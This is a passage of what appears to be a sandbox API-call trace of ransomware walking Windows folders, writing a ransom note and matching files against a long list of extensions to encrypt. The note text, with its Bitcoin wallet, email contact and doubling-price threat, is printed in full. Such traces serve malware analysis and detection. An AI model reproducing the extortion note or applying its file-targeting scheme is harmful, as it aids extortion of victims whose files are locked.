ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.713] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0107.713] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0107.713] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f7bb600, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5f7bb600, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5f7bb600, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="e049a1a3948a031aed69690fc102ea6c", cAlternateFileName="E049A1~1")) returned 1 [0107.713] lstrcmpA (lpString1=".", lpString2="e049a1a3948a031aed69690fc102ea6c") returned -1 [0107.713] lstrcmpA (lpString1="..", lpString2="e049a1a3948a031aed69690fc102ea6c") returned -1 [0107.713] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstoredb\\*.*") returned="*.*" [0107.713] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstoredb\\", lpString2="e049a1a3948a031aed69690fc102ea6c" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstoredb\\e049a1a3948a031aed69690fc102ea6c") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstoredb\\e049a1a3948a031aed69690fc102ea6c" [0107.714] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstoredb\\e049a1a3948a031aed69690fc102ea6c") returned 89 [0107.714] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstoredb\\e049a1a3948a031aed69690fc102ea6c\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f7bb600, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5f7bb600, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5f7bb600, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0107.714] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0107.714] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f7bb600, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5f7bb600, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5f7bb600, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.714] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0107.714] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0107.714] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30b157d7, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x30b157d7, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0x98fcb43c, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0x82400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="mcstoredb.ni.dll", cAlternateFileName="MCSTOR~1.DLL")) returned 1 [0107.714] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0107.714] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="mcstoredb.ni.dll") returned -1 [0107.714] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="mcstoredb.ni.dll") returned -1 [0107.714] lstrcmpiA (lpString1="", lpString2="mcstoredb.ni.dll") returned -1 [0107.715] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstoredb\\e049a1a3948a031aed69690fc102ea6c\\*.*") returned="*.*" [0107.715] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstoredb\\e049a1a3948a031aed69690fc102ea6c\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstoredb\\e049a1a3948a031aed69690fc102ea6c\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstoredb\\e049a1a3948a031aed69690fc102ea6c\\" [0107.715] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstoredb\\e049a1a3948a031aed69690fc102ea6c\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstoredb\\e049a1a3948a031aed69690fc102ea6c\\") returned="" [0107.856] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstoredb\\e049a1a3948a031aed69690fc102ea6c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstoredb\\e049a1a3948a031aed69690fc102ea6c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstoredb\\e049a1a3948a031aed69690fc102ea6c\\HOW TO DECRYPT FILES.txt" [0107.856] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstoredb\\e049a1a3948a031aed69690fc102ea6c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\mcstoredb\\e049a1a3948a031aed69690fc102ea6c\\how to decrypt files.txt")) returned 0xffffffff [0107.856] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstoredb\\e049a1a3948a031aed69690fc102ea6c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\mcstoredb\\e049a1a3948a031aed69690fc102ea6c\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0107.857] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0107.857] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0107.859] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0107.860] CloseHandle (hObject=0x90) returned 1 [0107.860] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstoredb\\e049a1a3948a031aed69690fc102ea6c\\", lpString2="mcstoredb.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstoredb\\e049a1a3948a031aed69690fc102ea6c\\mcstoredb.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstoredb\\e049a1a3948a031aed69690fc102ea6c\\mcstoredb.ni.dll" [0107.860] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstoredb\\e049a1a3948a031aed69690fc102ea6c\\mcstoredb.ni.dll", pszSpec="*.ems") returned 0 [0107.860] lstrlenA (lpString="*.ems") returned 5 [0107.860] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstoredb\\e049a1a3948a031aed69690fc102ea6c\\mcstoredb.ni.dll", pszSpec="*.db") returned 0 [0107.860] lstrlenA (lpString="*.db") returned 4 [0107.860] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstoredb\\e049a1a3948a031aed69690fc102ea6c\\mcstoredb.ni.dll", pszSpec="*.dbf") returned 0 [0107.860] lstrlenA (lpString="*.dbf") returned 5 [0107.860] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstoredb\\e049a1a3948a031aed69690fc102ea6c\\mcstoredb.ni.dll", pszSpec="*.myox") returned 0 [0107.860] lstrlenA (lpString="*.myox") returned 6 [0107.860] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstoredb\\e049a1a3948a031aed69690fc102ea6c\\mcstoredb.ni.dll", pszSpec="*.myo") returned 0 [0107.860] lstrlenA (lpString="*.myo") returned 5 [0107.860] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstoredb\\e049a1a3948a031aed69690fc102ea6c\\mcstoredb.ni.dll", pszSpec="*.qbw") returned 0 [0107.860] lstrlenA (lpString="*.qbw") returned 5 [0107.860] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstoredb\\e049a1a3948a031aed69690fc102ea6c\\mcstoredb.ni.dll", pszSpec="*.qbb") returned 0 [0107.860] lstrlenA (lpString="*.qbb") returned 5 [0107.860] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstoredb\\e049a1a3948a031aed69690fc102ea6c\\mcstoredb.ni.dll", pszSpec="*.qbm") returned 0 [0107.861] lstrlenA (lpString="*.qbm") returned 5 [0107.861] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstoredb\\e049a1a3948a031aed69690fc102ea6c\\mcstoredb.ni.dll", pszSpec="*.qbo") returned 0 [0107.861] lstrlenA (lpString="*.qbo") returned 5 [0107.861] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstoredb\\e049a1a3948a031aed69690fc102ea6c\\mcstoredb.ni.dll", pszSpec="*.qbx") returned 0 [0107.861] lstrlenA (lpString="*.qbx") returned 5 [0107.861] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstoredb\\e049a1a3948a031aed69690fc102ea6c\\mcstoredb.ni.dll", pszSpec="*.qba") returned 0 [0107.861] lstrlenA (lpString="*.qba") returned 5 [0107.861] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstoredb\\e049a1a3948a031aed69690fc102ea6c\\mcstoredb.ni.dll", pszSpec="*.qby") returned 0 [0107.861] lstrlenA (lpString="*.qby") returned 5 [0107.861] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstoredb\\e049a1a3948a031aed69690fc102ea6c\\mcstoredb.ni.dll", pszSpec="*.qbj") returned 0 [0107.861] lstrlenA (lpString="*.qbj") returned 5 [0107.861] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstoredb\\e049a1a3948a031aed69690fc102ea6c\\mcstoredb.ni.dll", pszSpec="*.ofx") returned 0 [0107.861] lstrlenA (lpString="*.ofx") returned 5 [0107.861] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstoredb\\e049a1a3948a031aed69690fc102ea6c\\mcstoredb.ni.dll", pszSpec="*.qif") returned 0 [0107.861] lstrlenA (lpString="*.qif") returned 5 [0107.861] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstoredb\\e049a1a3948a031aed69690fc102ea6c\\mcstoredb.ni.dll", pszSpec="*.mye") returned 0 [0107.861] lstrlenA (lpString="*.mye") returned 5 [0107.861] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstoredb\\e049a1a3948a031aed69690fc102ea6c\\mcstoredb.ni.dll", pszSpec="*.mbox") returned 0 [0107.861] lstrlenA (lpString="*.mbox") returned 6 [0107.862] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstoredb\\e049a1a3948a031aed69690fc102ea6c\\mcstoredb.ni.dll", pszSpec="*.eml") returned 0 [0107.862] lstrlenA (lpString="*.eml") returned 5 [0107.862] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstoredb\\e049a1a3948a031aed69690fc102ea6c\\mcstoredb.ni.dll", pszSpec="*.pst") returned 0 [0107.862] lstrlenA (lpString="*.pst") returned 5 [0107.862] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstoredb\\e049a1a3948a031aed69690fc102ea6c\\mcstoredb.ni.dll", pszSpec="*.ost") returned 0 [0107.862] lstrlenA (lpString="*.ost") returned 5 [0107.862] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstoredb\\e049a1a3948a031aed69690fc102ea6c\\mcstoredb.ni.dll", pszSpec="*.idx") returned 0 [0107.862] lstrlenA (lpString="*.idx") returned 5 [0107.862] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstoredb\\e049a1a3948a031aed69690fc102ea6c\\mcstoredb.ni.dll", pszSpec="*.dbx") returned 0 [0107.862] lstrlenA (lpString="*.dbx") returned 5 [0107.862] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstoredb\\e049a1a3948a031aed69690fc102ea6c\\mcstoredb.ni.dll", pszSpec="*.sql") returned 0 [0107.862] lstrlenA (lpString="*.sql") returned 5 [0107.862] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstoredb\\e049a1a3948a031aed69690fc102ea6c\\mcstoredb.ni.dll", pszSpec="*.mdb") returned 0 [0107.862] lstrlenA (lpString="*.mdb") returned 5 [0107.862] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstoredb\\e049a1a3948a031aed69690fc102ea6c\\mcstoredb.ni.dll", pszSpec="*.fdb") returned 0 [0107.862] lstrlenA (lpString="*.fdb") returned 5 [0107.862] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstoredb\\e049a1a3948a031aed69690fc102ea6c\\mcstoredb.ni.dll", pszSpec="*.wab") returned 0 [0107.862] lstrlenA (lpString="*.wab") returned 5 [0107.862] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstoredb\\e049a1a3948a031aed69690fc102ea6c\\mcstoredb.ni.dll", pszSpec="*.dat") returned 0 [0107.862] lstrlenA (lpString="*.dat") returned 5 [0107.862] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstoredb\\e049a1a3948a031aed69690fc102ea6c\\mcstoredb.ni.dll", pszSpec="*.txt") returned 0 [0107.863] lstrlenA (lpString="*.txt") returned 5 [0107.863] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstoredb\\e049a1a3948a031aed69690fc102ea6c\\mcstoredb.ni.dll", pszSpec="*.jpeg") returned 0 [0107.863] lstrlenA (lpString="*.jpeg") returned 6 [0107.863] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstoredb\\e049a1a3948a031aed69690fc102ea6c\\mcstoredb.ni.dll", pszSpec="*.jpg") returned 0 [0107.863] lstrlenA (lpString="*.jpg") returned 5 [0107.863] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstoredb\\e049a1a3948a031aed69690fc102ea6c\\mcstoredb.ni.dll", pszSpec="*.png") returned 0 [0107.863] lstrlenA (lpString="*.png") returned 5 [0107.863] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstoredb\\e049a1a3948a031aed69690fc102ea6c\\mcstoredb.ni.dll", pszSpec="*.php") returned 0 [0107.863] lstrlenA (lpString="*.php") returned 5 [0107.863] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstoredb\\e049a1a3948a031aed69690fc102ea6c\\mcstoredb.ni.dll", pszSpec="*.cs") returned 0 [0107.863] lstrlenA (lpString="*.cs") returned 4 [0107.863] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstoredb\\e049a1a3948a031aed69690fc102ea6c\\mcstoredb.ni.dll", pszSpec="*.cpp") returned 0 [0107.863] lstrlenA (lpString="*.cpp") returned 5 [0107.863] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstoredb\\e049a1a3948a031aed69690fc102ea6c\\mcstoredb.ni.dll", pszSpec="*.rar") returned 0 [0107.863] lstrlenA (lpString="*.rar") returned 5 [0107.863] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstoredb\\e049a1a3948a031aed69690fc102ea6c\\mcstoredb.ni.dll", pszSpec="*.zip") returned 0 [0107.863] lstrlenA (lpString="*.zip") returned 5 [0107.863] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstoredb\\e049a1a3948a031aed69690fc102ea6c\\mcstoredb.ni.dll", pszSpec="*.html") returned 0 [0107.863] lstrlenA (lpString="*.html") returned 6 [0107.863] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstoredb\\e049a1a3948a031aed69690fc102ea6c\\mcstoredb.ni.dll", pszSpec="*.htm") returned 0 [0107.864] lstrlenA (lpString="*.htm") returned 5 [0107.864] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstoredb\\e049a1a3948a031aed69690fc102ea6c\\mcstoredb.ni.dll", pszSpec="*.xlsx") returned 0 [0107.864] lstrlenA (lpString="*.xlsx") returned 6 [0107.864] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstoredb\\e049a1a3948a031aed69690fc102ea6c\\mcstoredb.ni.dll", pszSpec="*.xls") returned 0 [0107.864] lstrlenA (lpString="*.xls") returned 5 [0107.864] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstoredb\\e049a1a3948a031aed69690fc102ea6c\\mcstoredb.ni.dll", pszSpec="*.mp4") returned 0 [0107.864] lstrlenA (lpString="*.mp4") returned 5 [0107.864] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstoredb\\e049a1a3948a031aed69690fc102ea6c\\mcstoredb.ni.dll", pszSpec="*.ppt") returned 0 [0107.864] lstrlenA (lpString="*.ppt") returned 5 [0107.864] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstoredb\\e049a1a3948a031aed69690fc102ea6c\\mcstoredb.ni.dll", pszSpec="*.pptx") returned 0 [0107.864] lstrlenA (lpString="*.pptx") returned 6 [0107.864] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstoredb\\e049a1a3948a031aed69690fc102ea6c\\mcstoredb.ni.dll", pszSpec="*.doc") returned 0 [0107.864] lstrlenA (lpString="*.doc") returned 5 [0107.864] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstoredb\\e049a1a3948a031aed69690fc102ea6c\\mcstoredb.ni.dll", pszSpec="*.dot") returned 0 [0107.864] lstrlenA (lpString="*.dot") returned 5 [0107.864] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstoredb\\e049a1a3948a031aed69690fc102ea6c\\mcstoredb.ni.dll", pszSpec="*.docx") returned 0 [0107.864] lstrlenA (lpString="*.docx") returned 6 [0107.864] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstoredb\\e049a1a3948a031aed69690fc102ea6c\\mcstoredb.ni.dll", pszSpec="*.7z") returned 0 [0107.864] lstrlenA (lpString="*.7z") returned 4 [0107.864] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstoredb\\e049a1a3948a031aed69690fc102ea6c\\mcstoredb.ni.dll", pszSpec="*.tar") returned 0 [0107.864] lstrlenA (lpString="*.tar") returned 5 [0107.865] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstoredb\\e049a1a3948a031aed69690fc102ea6c\\mcstoredb.ni.dll", pszSpec="*.bz2") returned 0 [0107.865] lstrlenA (lpString="*.bz2") returned 5 [0107.865] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstoredb\\e049a1a3948a031aed69690fc102ea6c\\mcstoredb.ni.dll", pszSpec="*.gz") returned 0 [0107.865] lstrlenA (lpString="*.gz") returned 4 [0107.865] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstoredb\\e049a1a3948a031aed69690fc102ea6c\\mcstoredb.ni.dll", pszSpec="*.mkv") returned 0 [0107.865] lstrlenA (lpString="*.mkv") returned 5 [0107.865] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstoredb\\e049a1a3948a031aed69690fc102ea6c\\mcstoredb.ni.dll", pszSpec="*.eml") returned 0 [0107.865] lstrlenA (lpString="*.eml") returned 5 [0107.865] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstoredb\\e049a1a3948a031aed69690fc102ea6c\\mcstoredb.ni.dll", pszSpec="*.msg") returned 0 [0107.865] lstrlenA (lpString="*.msg") returned 5 [0107.865] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstoredb\\e049a1a3948a031aed69690fc102ea6c\\mcstoredb.ni.dll", pszSpec="*.edb") returned 0 [0107.865] lstrlenA (lpString="*.edb") returned 5 [0107.865] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstoredb\\e049a1a3948a031aed69690fc102ea6c\\mcstoredb.ni.dll", pszSpec="*.accdb") returned 0 [0107.865] lstrlenA (lpString="*.accdb") returned 7 [0107.865] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstoredb\\e049a1a3948a031aed69690fc102ea6c\\mcstoredb.ni.dll", pszSpec="*.odb") returned 0 [0107.865] lstrlenA (lpString="*.odb") returned 5 [0107.865] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstoredb\\e049a1a3948a031aed69690fc102ea6c\\mcstoredb.ni.dll", pszSpec="*.java") returned 0 [0107.865] lstrlenA (lpString="*.java") returned 6 [0107.865] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcstoredb\\e049a1a3948a031aed69690fc102ea6c\\mcstoredb.ni.dll", pszSpec="*.asm") returned 0 [0107.866] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30b157d7, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x30b157d7, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0x98fcb43c, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0x82400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="mcstoredb.ni.dll", cAlternateFileName="MCSTOR~1.DLL")) returned 0 [0107.866] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0107.866] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f7bb600, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5f7bb600, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5f7bb600, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="e049a1a3948a031aed69690fc102ea6c", cAlternateFileName="E049A1~1")) returned 0 [0107.866] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0107.866] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x628f9d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x628f9d20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x628f9d20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x63006d, dwReserved1=0x740073, cFileName="mcupdate", cAlternateFileName="")) returned 1 [0107.866] lstrcmpA (lpString1=".", lpString2="mcupdate") returned -1 [0107.866] lstrcmpA (lpString1="..", lpString2="mcupdate") returned -1 [0107.867] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0107.867] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="mcupdate" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcupdate") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcupdate" [0107.867] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcupdate\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x628f9d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x628f9d20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x628f9d20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0107.867] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0107.867] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x628f9d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x628f9d20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x628f9d20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.867] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0107.867] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0107.867] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x628f9d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x628f9d20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x628f9d20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="f30beba36940b5a2b55a32ea7f42d694", cAlternateFileName="F30BEB~1")) returned 1 [0107.867] 